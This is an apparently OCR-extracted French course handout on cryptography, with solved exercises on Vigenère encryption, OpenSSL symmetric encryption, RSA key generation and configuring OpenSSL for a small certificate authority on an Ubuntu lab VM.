 - La cinquième ligne : Calculez les positions des lettres du texte chiffré en appliquant la formule $c_i = (p_i + k_{i \mod m}) \mod 26$.
 - La sixième ligne : Identifiez le texte chiffré en partant des positions calculées et en se référant au tableau des positions.



Exercice 2 : Chiffrement de Vigenère

• Le tableau en résultant est le suivant :

CLAIR	С	Н	I	F	F	R	E	D	E	v	I	G	E	N	E	R	E
P _{CLAIR}	2	7	8	5	5	17	4	3	4	21	8	6	4	13	4	17	4
CLÉ	E	Х	E	R	С	I	С	E	E	Х	E	R	С	I	С	E	E
P _{CLÉ}	4	23	4	17	2	8	2	4	4	23	4	17	2	8	2	4	4
P _{CHIFFRÉ}	6	4	12	22	7	25	6	7	8	18	12	23	6	21	6	21	8
CHIFFRÉ	G	E	М	w	Н	Z	G	Н	I	S	М	X	G	v	G	v	I

- Le résultat est le suivant :
 - Texte en clair : CHIFFRE DE VIGENERE
 - Clé: EXERCICE
 - Texte Chiffré : GEMWHZGHISMXGVGVI



Exercice 2 : Chiffrement de Vigenère

2. Pour déchiffrer le texte **PBWFNMKPFOMCNM**, qui a été fait avec le chiffrement de Vigenère en utilisant la clé **EXERCICE**, il faut suivre les étapes suivantes :

• Préparez un tableau contenant les positions des lettres de l'alphabet :

Alphabet	Α	В	С	D	Ε	F	G	Н	I	J	К	L	М	Ν	0	Р	Q	R	S	Т	U	V	W	х	Y	Z
Position	0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17	18	19	20	21	22	23	24	25

• Préparez un deuxième tableau comme suit :

- La première ligne : Mettez les lettres du texte chiffré dans la première ligne. Chaque case contient une lettre.
- La deuxième ligne : En se référant au tableau des positions, déterminez la position de chaque lettre du texte chiffré pour remplir la deuxième ligne.
- La troisième ligne : Mettez les lettres du mot clé, **EXERCICE** dans notre exemple, autant de fois jusqu'à remplir tous les colonnes du tableau.
- La quatrième ligne : En se référant au tableau des positions, déterminez la position de chaque lettre du mot clé pour remplir la quatrième ligne.
- La cinquième ligne : Calculez les positions des lettres du texte en clair en appliquant la formule $p_i = (c_i + 26 k_{i \mod m}) \mod 26$.
- La sixième ligne : Identifiez le texte en clair en partant des positions calculés et en se référant au tableau des positions.


Exercice 2 : Chiffrement de Vigenère

• Le tableau en résultant est le suivant :

CHIFFRÉ	Р	В	w	F	N	М	К	Р	F	0	М	С	N	м
P _{CHIFFR2}	15	1	22	5	13	12	10	15	5	14	12	2	13	12
CLÉ	E	Х	E	R	С	I	С	E	E	Х	E	R	С	I
P _{CLÉ}	4	23	4	17	2	8	2	4	4	23	4	17	2	8
P _{CLAIR}	11	4	18	14	11	4	8	11	1	17	8	11	11	4
CLAIR	L	E	S	0	L	E	I	L	В	R	I	L	L	E

- Le résultat est le suivant :
 - Texte chiffré : P B W F N M K P F O M C N M
 - Clé: EXERCICE
 - Texte en claire : L E SOLEIL BRILLE



ACTIVITÉ 2

CHIFFREMENT/DÉCHIFFREMENT SYMÉTRIQUE GRÂCE À OPENSSL

Compétences visées :

- Chiffrer des fichiers en utilisant des algorithmes de chiffrement symétriques grâce à OpenSSL
- Déchiffrer des fichiers en utilisant des algorithmes de chiffrement symétriques grâce à OpenSSL
- Générer des clés symétriques

Recommandations clés :

• Maitriser le principe d'un système de chiffrement symétrique





CONSIGNES

1. Pour le formateur

- L'apprenant doit être capable de chiffrer/déchiffrer des fichiers avec des algorithmes de chiffrement symétriques en utilisant OpenSSL
- Il doit être également capable de générer des clés de chiffrement symétrique

2. Pour l'apprenant

- Il est recommandée de maitriser le principe de chiffrement symétrique
- Il faut utiliser les commandes fournies au début de l'activité
- Il est également recommandée de suivre les étapes décrites dans l'énoncé

3. Conditions de réalisation :

- VirtualBox installé
- Une machine Virtuelle Ubuntu. Lien de téléchargement de la VM Ubuntu : <u>https://www.osboxes.org/ubuntu/#ubuntu-21-10-info</u>

4. Critères de réussite :

- Générer un fichier chiffré à partir d'un fichier en claire
- Générer un fichier claire à partir d'un fichier chiffré
- Générer une clé symétrique
- Utiliser avec succès les différents types d'algorithmes de chiffrement symétriques

Activité 2 Chiffrement/déchiffrement symétrique grâce à OpenSSL



Présentation de OpenSSL

- OpenSSL est une bibliothèque cryptographique open source qui implémente Secure Sockets Layer (SSL) et Transport Layer Security (TLS).
- OpenSSL fournie un ensemble de commandes exécutables en ligne de commande et permettant d'offrir plusieurs fonctionnalités telles que :
 - Le chiffrement et le déchiffrement : plusieurs algorithmes de chiffrement sont implémentés dans OoenSSL tel que RSA, DES, IDEA, AES, RC4, etc..
 - Le calcul d'empreinte numérique : plusieurs fonctions de hachage sont implémentés tel que MD5, SHA, etc..
 - La forge de clef RSA
 - La création de certificat X509
- Le syntaxe d'une commande OpenSSL est la suivante :

openssl <commande> <options>

Activité 2 Chiffrement/déchiffrement symétrique grâce à openSSL



Présentation de OpenSSL

- L'objectif principal de cette activité est de se familiariser à l'utilisation d'OpenSSL en essayant de réaliser le chiffrement et le déchiffrement symétrique
- Le tableau ci-dessous fournit les commandes nécessaires pour la réalisation du chiffrement et du déchiffrement :

Syntaxe de la commande	Description		
	Permet de générer un fichier avec un contenu	-e : encrypt \rightarrow chiffrer	
openssl enc <-algo> -in <claire.txt> -e -out <chiffre.enc></chiffre.enc></claire.txt>	chiffré <chiffre.enc> à partir d'un fichier avec un contenu en texte clair <claire txt=""> en</claire></chiffre.enc>	-in : Input file $ ightarrow $ fichier en entrée	
	utilisant un algorithme de chiffrement <algo></algo>	-out: Output file $ ightarrow$ fichier résultant	
openssl enc <-algo> -in <chiffre.enc> -d -out <claire.dec></claire.dec></chiffre.enc>	Permet de générer un fichier avec un contenu déchiffré <claire.dec> à partir d'un fichier avec un contenu chiffré <chiffre.enc> en utilisant un algorithme de chiffrement <algo></algo></chiffre.enc></claire.dec>	-d : decrypt → déchiffrer	
openssl rand -out <clé.key> <nombre_bits></nombre_bits></clé.key>	Génère un nombre aléatoire de taille nombre_bits		
openssl aes-256-cbc -in <claire.txt> -out <chiffre.enc> -e -k <clé.key></clé.key></chiffre.enc></claire.txt>	Chiffrer un fichier avec l'AES et une clé. Pour déchiffrer, il suffit de changer l'option –e à - d		
L'option -a	L'ajout de cette option aux commandes précédentes permet de produire un fichier lisible qui est codé en base64		

Activité 2 Chiffrement/déchiffrement symétrique grâce à OpenSSL



Travail demandé

- Comme cité précédemment, l'objectif principal est d'utiliser OpenSSL pour chiffrer et déchiffrer des fichiers. Pour ce faire, vous êtes chargés dans cette activité d'effectuer les tâches suivantes :
 - 1. Vérifiez que OpenSSL est installé dans votre machine Ubuntu et déterminez sa version en tapant la commande : openssl version [-a] ;
 - 2. Créez un fichier, nommé message, qui inclut le texte suivant :

Bonjour tout le monde ! Ce document est utilisé pour tester le chiffrement/déchiffrement symétrique avec OpenSSL.

- 3. Chiffrez le fichier message avec l'algorithme de chiffrement DES3. Le fichier chiffré est nommé message.enc ;
- 4. Déchiffrez le fichier message.enc. Le fichier déchiffré est nommé message.dec ;
- 5. Vérifiez que les deux fichiers message et message.dec contiennent le même contenu ;
- 6. Affichez le contenu du fichier message.enc ;
- 7. Répétez les étapes $3 \rightarrow 6$ en utilisant l'option –a ;
- 8. Répétez les étapes $3 \rightarrow 5$ en utilisant comme algorithme de chiffrement **RC4** ;
- 9. Générez une clé symétrique, nommé Key, de taille 512 bits ;
- 10. Répétez les étapes 3->5 en utilisant comme algorithme de chiffrement AES et la clé Key générée dans la question précédente.



Correction

- Pour vérifier que OpenSSL est bien installé dans votre machine Ubuntu et déterminer sa version, il est possible de taper l'une des deux commandes suivantes:
 - Openssl version
 - Openssl version -a
- Les résultats des deux commandes précédentes sont illustrés dans les deux figures ci-dessous. Selon les résultats obtenus, la version OpenSSL est 1.1.1L :

osboxes@osboxes:~\$ openssl version OpenSSL 1.1.1l 24 Aug 2021

osboxes@osboxes:~\$ openssl version -a
OpenSSL 1.1.1l 24 Aug 2021
built on: Wed Mar 9 12:06:18 2022 UTC
platform: debian-amd64
options: bn(64,64) rc4(16x,int) des(int) blowfish(ptr)
compiler: gcc -fPIC -pthread -m64 -Wa,noexecstack -Wall -Wa,r
<pre>oexecstack -g -O2 -ffile-prefix-map=/build/openssl-WgLPFV/openssl</pre>
-1.1.1l=flto=auto -ffat-lto-objects -fstack-protector-strong -
Wformat -Werror=format-security -DOPENSSL TLS SECURITY LEVEL=2 -[
OPENSSL USE NODELETE -DL ENDIAN -DOPENSSL PIC -DOPENSSL CPUID OBJ
-DOPENSSL IA32 SSE2 -DOPENSSL BN ASM MONT -DOPENSSL BN ASM MONTS
-DOPENSSL_BN ASM GF2m -DSHA1 ASMDSHA256 ASM -DSHA512_ASMDKEC
CAK1600 ASM -DRC4_ASM -DMD5 ASM -DAESNI ASM -DVPAES ASMDGHASH A
SM -DECP NISTZ256 ASM -DX25519 ASM -DP0LY1305 ASM -DNDEBUG -Wdate
-time -D_FORTIFY SOURCE=2
OPENSSLDIR: "/usr/lib/ssl"
ENGINESDIR: "/usr/lib/x86 64-linux-gnu/engines-1.1"
Seeding source: os-specific

151



Chiffrement avec DES3

- Pour créer un fichier, nommé message, il suffit d'exécuter la commande : nano message.
- Le contenu sera écrit dans le fichier crée, comme illustré dans la figure ci-dessous.

GNU nano 5.6.1	message *
Bonjour tout le monde ! Ce document est utilisé	pour tester le chiffrement/déchiffrement>

• Pour chiffrer le fichier message avec l'algorithme de chiffrement DES3, il suffit d'exécuter la commande suivante : openssl enc -e -des3 -in message -out message.enc

osboxes@osboxes:~\$ openssl enc -e -des3 -in message -out mess enter des-ede3-cbc encryption password: Verifying - enter des-ede3-cbc encryption password: *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better.

- **PARTIE 3**
- Pour déchiffrer le fichier message.enc, il suffit d'exécuter la commande suivante : openssl enc -d -des3 -in message.enc -out message.dec

osboxes@osboxes:~\$ openssl enc -d -des3 -in message.enc -out message.dec enter des-ede3-cbc decryption password: *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better.



Chiffrement/Déchiffrement avec DES3

- Pour vérifier que les deux fichiers message et message.dec contiennent le même contenu, il est possible d'exécuter la commande : diff message message.dec
 - Notez que la commande diff permet de comparer les deux fichiers ligne par ligne. L'absence de sortie prouve que les deux fichiers sont similaires.

osboxes@osboxes:~\$ diff message message.dec
osboxes@osboxes:~\$

• Il est possible d'exécuter la commande tail -f message.enc pour afficher le contenu du fichier message.enc

osboxes@osboxes:~\$ tail -f message.enc Salted @@@@@@U/aF@@r@@ @@@p@@欕@O@@@@8@3R@@ @@@8@ zK@@믢@eQ@I@@s@@6@@h@DÜ4M@@@@X@h@{y7rA@@Dzg@@ *@t f@\$Qw@*@@B@@V@'@



• Le contenu du fichier message.enc n'est pas lisible à cause de l'absence de l'option -a.



Chiffrement/Déchiffrement avec DES3 : Utilisation de l'option -a

• Pour chiffrer le fichier message avec l'option -a, il suffit d'exécuter la commande suivante : openssl enc -e -des3 -in message -out message2.enc -a

osboxes@osboxes:~\$ openssl enc -e -des3 -in message -out message2.enc -a
enter des-ede3-cbc encryption password:
Verifying - enter des-ede3-cbc encryption password:
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.

• Pour déchiffrer le fichier message2.enc, il suffit d'exécuter la commande suivante : openssl enc -d -des3 -in message2.enc -out message2.dec -a

osboxes@osboxes:~\$ openssl enc -d -des3 -in message2.enc -out message2.dec -a
enter des-ede3-cbc decryption password:
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.

• Pour vérifier que les deux fichiers message et message2.dec contiennent le même contenu, il est possible d'exécuter la commande : diff message message2.dec

osboxes@osboxes:~\$ diff message message2.dec
osboxes@osboxes:~\$

• Il est possible d'exécuter la commande tail -f message.enc pour afficher le contenu du fichier message2.enc

osboxes@osboxes:~\$ tail -f message2.enc U2FsdGVkX18k/4DPIh0SIm0t0Lb8po6abI1tdhFaWm7qWt5RX01gXL63izrgbW2m MeGrWFw1bXrV84cGGIb6GRBVPjVVtrSnC1z8fST23mH9vSyp/HXCFCEAYWQGXi1b PWPgC5uAQN6DVh7+Jm/iAk3qPzlHz3JLQTseYpuSM4V1vkLJ83WF2w==



Chiffrement/Déchiffrement avec RC4

• Pour chiffrer le fichier message avec l'algorithme de chiffrement RC4, il suffit d'exécuter la commande suivante : openssl enc -e -rc4 -in message -out messageRC.enc

osboxes@osboxes:~\$ openssl enc -e -rc4 -in message -out messageRC.enc enter rc4 encryption password: Verifying - enter rc4 encryption password: *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better.

• Pour déchiffrer le fichier messageRC.enc, il suffit d'exécuter la commande suivante : openssl enc -d -rc4 -in messageRC.enc -out messageRC.dec

osboxes@osboxes:~\$ openssl enc -d -rc4 -in messageRC.enc -out messageRC.dec enter rc4 decryption password: *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better.

• Pour vérifier que les deux fichiers message et messageRC.dec contiennent le même contenu, il est possible d'exécuter la commande : diff message messageRC.dec

osboxes@osboxes:~\$ diff message messageRC.dec
osboxes@osboxes:~\$



Génération d'une clé symétrique et chiffrement/déchiffrement AES

- Pour générer une clé symétrique, nommé Key, de taille 512 bits, il suffit d'exécuter la commande : openssi rand -out Key 512
- Pour chiffrer le fichier message avec l'algorithme AES-256 et la clé Key, il suffit d'exécuter la commande suivante :

openssl aes-256-cbc -in message -out messageAES.enc -e -k Key

- Pour déchiffrer le fichier messageAES.enc, il suffit d'exécuter la commande suivante : openssl aes-256-cbc -in messageAES.enc -out messageAES.dec -d -k Key
- Pour vérifier que les deux fichiers message et messageAES.dec contiennent le même contenu, il est possible d'exécuter la commande : diff message messageAES.dec
- Les résultats de l'exécution des commandes précédentes sont illustrés dans la figure ci-dessous.

osboxes@osboxes:~\$ openssl rand -out Key 512 osboxes@osboxes:~\$ openssl aes-256-cbc -in message -out messageAES.enc -d -k Key bad magic number 'Help 'es@osboxes:~\$ openssl rand -out Key 512 osucxes@osboxes:~\$ openssl aes-256-cbc -in message -out messageAES.enc -e -k Key *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. osboxes@osboxes:~\$ openssl aes-256-cbc -in messageAES.enc -out messageAES.dec -d -k Key *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. osboxes@osboxes:~\$ openssl aes-256-cbc -in messageAES.enc -out messageAES.dec -d -k Key *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. osboxes@osboxes:~\$ diff message messageAES.dec osboxes@osboxes:~\$



ACTIVITÉ 3 GÉNÉRATION DE CLÉ PRIVÉE/PUBLIC RSA

Compétences visées :

• Générer une paire de clé privé/publique en utilisant l'algorithme RSA

Recommandations clés :

• Maitriser le principe d'un système de chiffrement asymétrique (en particulier l'algorithme RSA)





CONSIGNES

1. Pour le formateur

• L'apprenant doit être capable de générer une paire de clé privée/publique

2. Pour l'apprenant

- Il est recommandée de maitriser le principe de l'algorithme RSA
- Il faut utiliser les commandes fournies au début de l'activité
- Il est également recommandée de suivre les étapes décrites dans l'énoncé

3. Conditions de réalisation :

- VirtualBox installé
- Une machine Virtuelle Ubuntu qui a été utilisée dans l'activité 2

4. Critères de réussite :

• Générer avec succès une paire de clé RSA (privée/publique)

Activité 3 Génération de clé privée/public RSA



Présentation des commandes de génération de clés RSA dans OpenSSL

- L'objectif principal de cette activité est de générer le couple de clé privée/public de l'algorithme RSA avec OpenSSL.
- Le tableau ci-dessous fournit les commandes nécessaires pour la gestion de clés RSA :

Syntaxe de la commande	Description
openssl genrsa -out <fichier_rsa.priv> <size></size></fichier_rsa.priv>	Génère la clé privé RSA de taille size (512, 1024, etc.).
openssl rsa -in <fichier_rsa.priv> -des3 -out <fichier.pem></fichier.pem></fichier_rsa.priv>	Chiffre la clef privé RSA avec l'algorithme DES3.
openssl rsa -in <fichier_rsa.priv> -pubout -out <fichier_rsa.pub></fichier_rsa.pub></fichier_rsa.priv>	Stocke la clé publique dans un fichier à part. Cette commande permet de créer la clé publique associée à la clef privée RSA.
openssl rsa -in key -check -modulus -text	Vérifie la clé privée RSA. Plusieurs options peuvent être utilisées.
openssl rsa -pubin -in pubkey -text	Vérifie la clé public RSA.

Activité 3 Génération de clé privée/public RSA



Travail demandé

- Comme présenté précédemment, l'objectif principal de cette activité est d'utiliser OpenSSL pour générer une couple de clés privée/public RSA. Pour ce faire, vous êtes chargés de réaliser les tâches suivantes :
 - 1. Générez une clé privée, nommée Key.priv, de taille 1024 ;
 - 2. Vérifiez la clé privée générée, utilisez toutes les options ;
 - 3. Chiffrez la clef privée générée précédemment avec l'algorithme DES3. Le fichier résultant est nommé Key.pem ;
 - 4. Utilisez la commande cat pour afficher le contenu de la clé privée chiffrée Key.pem ;
 - 5. Générez la clé publique correspondante, qui est nommée Key.pub ;
 - 6. Vérifiez la clé publique générée ;
 - 7. Utilisez la commande cat pour afficher le contenu de la clé publique.



Correction

• Pour générer la clé privée Key.priv, il suffit d'exécuter la commande suivante : openssl genrsa -out Key.priv 1024

osboxes@osboxes:~\$ openssl genrsa -out Key.priv 1024
Generating RSA private key, 1024 bit long modulus (2 primes)
....+++++
e is 65537 (0x010001)

• Pour vérifier la clé privée générée, il suffit d'exécuter la commande : openssl rsa -in Key.priv -check . Il est aussi possible d'utilizer d'autres options.

Le résultat de la commande openssl rsa -in Key.priv -check

osboxes@osboxes:-\$ openssl rsa -in Key.priv -check

RSA key ok

writing RSA key

-----BEGIN RSA PRIVATE KEY-----

MIICXAIBAAKBgQCnuorYyDVwyUwz9TVHe7swX5f/DFvqkZ0pjZ0ME3xb8Xfk+qHx 95qg1XZMq9obcgXDkswPn+1U5Tmjf3xtkrd2N0zuD6uLC9k5bF5ha0vPE8tp5RMD s0RZFyDTcuD9UMJwwBHFDRW6cNsovTM8DDLTwdSAxTpSWMY5IUyvGE5jUQIDAQAB AoGAD8U4XN2m0K6UnaYGlmwJ061JUA/HbKy3Z4/K0bdzT+nKThtKsseHIGwxrU/T 0BVmeVcKHMX6uKq82qSX/G15Fls1nqpe0yu00JCF9SY6GkG7rMtyDnrzFeANJKXd o9a66ReDEgV3KfsA+5uqq6gQ7UaaJtu+UFxEEDt+YR1b54kCQQDT2gK4uzH03Gwy YaiA0pA2NkYg8plPi38Ro1dZg0iJyWP+MuD3l9KJ8srgC10cauF9wru7hb0SEDyX qyn1/dJ/AkEAyq6ijaIY0+EgrSDMAngd0JGgxRadMIIc8daxu7Y1jhx0GoVW5FYg +k+J9ShEuAuGmdeLyxcKU2fxwRwNaZBCLwJASsWorkDLzKI5wfJ8AbPP2IKBcAGQ I0YwXC5Vly9h+31xQHf+tQSt96hs+HSm9w82NSf1EL0cTvLSIAn2jm8eywJAEEeW pumuNNaQWVeZC1m6fyCzWSFH3u2UhZhJDlrEUnXWnYq4P/7rBy/8VMS3QFEsro6x m85t9eUTdf9a1G/R4QJBALtn22Ts0qXkK1viWC71UrrzzKAjm0KZpyxJDh002Kha nTwHf2EvAkS39y0hpqPt1J8EzfHUFXSL1U6D1RjSZxM= Le résultat de la commande openssl rsa -in Key.priv -modulus

Modulus=A7BA8AD8C83578C94C33F535477BBB385F97FF8C5BEA9193A98D938C137C5BF177E4FAA1F1F79AA0D5764CABDA1B7285C392CC0F9FED
54E539A37F7C6D92B77634ECEE0FAB8B80BD9396C5E6168EBCF13CB69E51303B0E4591720D372E0FD50C270C011C50D15BA70DB28BD333C0C32D3
C1D488C53A5258C639214CAF184E6351
writing RSA key
BEGIN RSA PRIVALE REF
MITCARLDAARDYQCHUOT YDYWYOW23TVHC/SWX3TVHC/VYLCUD 2UHC3XD0XTKTUHX Sfaat XYMAGAbca/DRisuPartIIISTmif3yttxrd3N0xUDGuLCDS5b55b5000F8th59ND
song zzeną obcy zaka w mierty to zakaża do zakaża do sina obcy z cię jaka bie si na sina obcy z cię jaka bie si song ze podruga w mierty zakaża na sina sina sina sina sina sina sina
AcGAD8U4XN2m0K6UnaY61mvJ06iJUA/HbKy3Z4/K0bdzT+nKThtKsseHIGwxrU/T
0BVmeVcKHMX6uKq82qSX/G15Fls1nqpe8yu00JCF9SY6GkG7rMtyDnrzFeANJKXd
o9a66ReDEgV3KfsA+Suqq6gQ7UaaJtu+UFxEEDt+YR1b54kCQQDT2gK4uzH03Gwy
YaiA0pA2NkYg8plPi38Ro1dZg0iIyWP+MuD3l9KJ8srgC10cauF9wru7hb0SEDyX
qyn1/dJ/AkEAyq61ja1Y0+EgrSDMAngdDJGgxRadMIIc8daxu7Y1jhx0GoVWSFYg
+K+J95hEUAUGndeLyXCRU2TXWRWNB2BCLWJASSWOFKULZKISWT3ADPP2IRDCAGU
10/WAC3Y (YSH+31XQH) + (QSHSHSHSHBWOZHS F 11EUC) + US1AN2 JIIIOEYWAACECW
m85t9eUTdf9a1G/R40JBALtn22Ts9gXkK1viWC71UrrzzKAim0KZpvxJDh002Kha
nTwHf2EvAkS39y0hpaPt138EzfHUFXSL1U6D1RjSZxM=
END RSA PRIVATE KEY

Activité 3 Chiffrement/déchiffrement asymétrique grâce à openSSL



Chiffrement/déchiffrement asymétrique grâce à openSSL

• Pour chiffrez la clef privée générée précédemment avec l'algorithme DES3, exécutez la commande suivante : openssl rsa -in Key.priv -des3 -out Key.pem

osboxes@osboxes:~\$ openssl rsa -in Key.priv -des3 -out Key.pem
writing RSA key
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:

• Pour afficher la clé privée chiffrée Key.pem, exécutez : cat Key.pem

osboxes@osboxes:-\$ cat Key.pem -----BEGIN RSA PRIVATE KEY-----Proc-Type: 4, ENCRYPTED DEK-Info: DES-EDE3-CBC, B6FBE9608B5A1449 IgESVrUknxfZllhTJRZ1LJ7+IMl5a1TmzvTvfYD56ns/V+ibCJ4vtntMkWeymlh9 0eU3Wm3ILupTAsj6GpzSubgQZkYy9riy4sgjdaZE5nU3JhmNSE38c4Xrtrv0s2uX urdLD46B8l+gUBgUQzJmgxtrm9HKkmSu0T7v28+VQAkhriETXWF4VaabA2cih8E5 f+tzgPFBkK0dvAr8CNVv6Rs3sMGo41w7stJyfsX4UJRDfpdAg+6bZiWnZ2AVXz5Z iBINPDsT8DuP0l0vyDvpD/9GGHjKN6T64xR6lxuTKBpr8dwZILwDp5Vp/XjsrgQW BHegNzRlBmPYl5ipAC9Mw4+3upZG3u0FiyMQcIPa+2Rz6+6G+5Jz19xSYM+pl06X vtZ2oLTJkASgMhmcj6GaJFFog2PHg4/8G17sYovdvqjNfg3qp3UpKXi1HAeQcmSt k7Mxp1r8SjT0WjQQ31Dy8GyGxjkqzcZBqo1muOnMkH9X+p0BPANVXZK2VFN0G86J JmjezbGzV6iVUbYj6RulebLjscJvMVmsX0D15gOu4D3lenlj4DkVH20NgMsPgL7X jPo6NzYe5UWPmAlqCFpfXF9ekt9mrgGJeBocZujNlfR8DXXe+nehgKo8UIlK3rdI sz9whHl2l3rp37pqa8Zgf0FXJ/pGoPOvA9NsRA0o37F0Qu42q5jHEcSfDvrlCTUK 6lS0AxxaSwlDAiQqqgmRFQQjF9b7fSMS/c00Y7JdAkbjTGlq/ER5Jnk4lLc36/R0 Mrku7Alic2zV9hrXSk9S5VYgU38Y6RvJdPAHZr4tTttdwvlauYWrOA== -----END RSA PRIVATE KEY-----

Activité 3 Chiffrement/déchiffrement asymétrique grâce à openSSL



Chiffrement/déchiffrement asymétrique grâce à openSSL

• Pour générer la clé publique Key.pub, il suffit d'exécuter la commande suivante : openssl rsa -in Key.priv -pubout -out Key.pub

• Pour vérifier la clé publique générée, il suffit d'exécuter la commande : openssl rsa -pubin -in Key.pub -text

RSA Public-Key: (1024 bit) Modulus: 00:a7:ba:8a:d8:c8:35:70:c9:4c:33:f5:35:47:7b: bb:30:5f:97:ff:0c:5b:ea:91:93:a9:8d:93:8c:13: 7c:5b:f1:77:e4:fa:a1:f1:f7:9a:a0:d5:76:4c:ab: da:1b:72:05:c3:92:cc:0f:9f:ed:54:e5:39:a3:7f: 7c:6d:92:b7:76:34:ec:ee:0f:ab:8b:0b:d9:39:6c: 5e:61:68:eb:cf:13:cb:69:e5:13:03:b0:e4:59:17: 20:d3:72:e0:fd:50:c2:70:c0:11:c5:0d:15:ba:70: db:28:bd:33:3c:0c:32:d3:c1:d4:80:c5:3a:52:58: c6:39:21:4c:af:18:4e:63:51 Exponent: 65537 (0x10001) writing RSA key ----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnuorYyDVwyUwz9TVHe7swX5f/ DFvqkZ0pjZ0ME3xb8Xfk+qHx95qg1XZMq9obcgXDkswPn+1U5Tmjf3xtkrd2N0zu D6uLC9k5bF5ha0vPE8tp5RMDs0RZFyDTcuD9UMJwwBHFDRW6cNsovTM8DDLTwdSA xTpSWMY5IUyvGE5jUQIDAQAB ----END PUBLIC KEY-----



ACTIVITÉ 4 GÉNÉRATION DES CERTIFICATS AVEC OPENSSL

Compétences visées :

- Configurer OpenSSL
- Générer des certificats auto-signés
- Générer des certificats clients

Recommandations clés :

- Maitriser le principe des certificats numériques
- Maitriser les notions de base d'une PKI





CONSIGNES

1. Pour le formateur

- L'apprenant doit être capable de configurer le fichier openssl.cnf
- Il doit être également capable de générer un certificat auto-signé pour le CA et Des certificats clients

2. Pour l'apprenant

- Il est recommandée de maitriser les notions de base d'une PKI
- Il faut utiliser les commandes fournies au début de l'activité
- Il est également recommandée de suivre les étapes décrites dans l'énoncé

3. Conditions de réalisation :

- VirtualBox installé
- Une machine Virtuelle Ubuntu qui a été utilisée dans l'activité 2.
- Réalisation des activités précédentes (2 et 3) avec succès.

4. Critères de réussite :

- Configurer avec succès l'outil OpenSSL
- Avoir un certificat auto-signé
- Avoir un certificat client signé par le CA



Présentation des objectifs

- L'objectif principal de cette activité est de mettre en place une plateforme PKI à l'aide d'OpenSSL afin de générer des certificats clients X.509.
- Cette activité sera organisée en trois étapes :
 - Étape 1 : Configuration du fichier openssl.cnf ;
 - Étape 2 : Génération d'un certificat auto-signé (le certificat du CA) ;
 - Étape 3 : Génération des certificats clients.

ii.



Étape 1 : Configuration du fichier openssl.cnf

- Le but de cette étape est d'éditer le fichier de configuration 'openssl.cnf'. En fait, à traves ce fichier, il est possible de définir certaines informations importantes. Il est également possible de définir les chemins des principaux répertoires de la plateforme PKI à mettre en place.
- A cet effet, il vous est demandé de réaliser les tâches suivantes :
 - 1. Modifiez le fichier de configuration openssl.cnf qui se trouve dans le chemin suivant /etc/ssl/openssl.cnf comme suit :
 - i. Dans la section relative au CA [CA_default]

·	[CA_default]	
	dir = /etc/activite	# Le dossier où tout est gardé
	certs = \$dir/certs	# Où les certificats délivrés sont conservés
	crl_dir = \$dir/crl	# Où sont conservées les crl émises
	database = \$dir/index.txt	# Fichier d'index de la base de données.
	new_certs_dir = \$dir/newcerts	# Emplacement par défaut pour les nouveaux certificats.
	certificate = \$dir/cacerts/ofpptcacert.pem	# Le certificat du CA
	serial = \$dir/serial	# Le numéro de série actuel
	crlnumber = \$dir/crlnumber	# Le numéro crl actuel
	crl = \$dir/crl.pem	# Le CRL actuel
	private_key = \$dir/private/ofpptcakey.pem	# La clé privée

iii. Dans la section [req] remplacer les valeurs des champs suivants par

default_bits = 1024 default_keyfile = privatekey.pem

Activité 4



Génération des certificats avec OpenSSL

Étape 1 : Configuration du fichier openssl.cnf

iii. Dans la section [req_distinguished_ name]

countryName_default = MA
stateOrProvinceName_default = MAROC
localityName_default = NEW_CITY
0.organizationName_default = OFPPT
organizationalUnitName_default = SECURITY

- 2. Créez le répertoire activite, sous /etc
- 3. Créez tous les répertoires (certs, cacerts, private, reqs) sous /etc/activite comme configurés dans le fichier openssl.cnf
 - private contient des fichiers de clés privées RSA ;
 - certs contient des certificats d'entité finale X.509 ;
 - newcerts contient les nouveaux certificats ;
 - cacerts contient des certificats CA fiables ;
 - reqs contient des demandes de certificat X.509.
- 4. Créez les deux fichiers suivants sous /etc/activite :
 - index.txt qui contient la liste des certificats créés ;
 - serial qui contient le prochain numéro de série à utiliser.



Étape 1 : Configuration du fichier openssl.cnf

- 5. Pour initialiser les fichiers cités précédemment, vous devez exécuter les commandes suivantes :
 - sudo touch index.txt
 - sudo touch serial
 - # echo 01 > serial (cela créera un fichier contenant le numéro 1 comme premier numéro de série pour le futur certificat).



Étape 2 : Génération d'un certificat auto-signé

- Cette étape vise à générer le certificat du CA (Certification Autority) qui est un certificat auto-signé.
- Le tableau ci-dessous fournit les commandes nécessaires pour la génération d'un certificat auto-signé.

Syntaxe de la commande	Description			
openssl genrsa <-algo> -out <capriv.pem> <size></size></capriv.pem>	Permet de générer une clé privée CApriv.pem de taille size et chiffrée avec l'algorithme de chiffrement algo.			
	Permet de générer un certificat autosigné CA, nommé CA_certificate.pem d'une validité certificate_validity_period en utilisant la clé privé CApriv.pem.	-new -x509 : new combiné avec x509 signifie qu'un certificat X509 auto-signé sera généré.		
openssl reg -new -x509 -days <certificate period="" validity=""> -</certificate>		 -days : indique le nombre de jours de validité du certificat. 		
key <capriv.pem> -out<ca_certificate.pem></ca_certificate.pem></capriv.pem>		 -key : pointe sur la paire de clés RSA Noté qu'il faut spécifier le chemin (relatif ou absolue) de la clé. 		
		-out : définit le nom du fichier de certificat.		



Étape 2 : Génération d'un certificat auto-signé

- Il vous est demandé dans cette étape de réaliser les tâches suivantes :
 - 1. Générez une clé privée pour le CA, tel que
 - Le nom de la clé est : ofpptcakey.pem ;
 - La taille de la clé est : 2048 bits ;
 - La clé est chiffrée avec l'algoritghme DES3 ;
 - La clé doit être enregistrée dans l'emplacement adéquat : /etc/activite/private.
 - 2. Générez le certificat auto-signé du CA, en utilisant la clé privée générée précédemment, tel que :
 - Le nom du certificat est : ofpptcacert.pem ;
 - La validité du certificat est : 4 ans (365joursx4=1460jours) ;
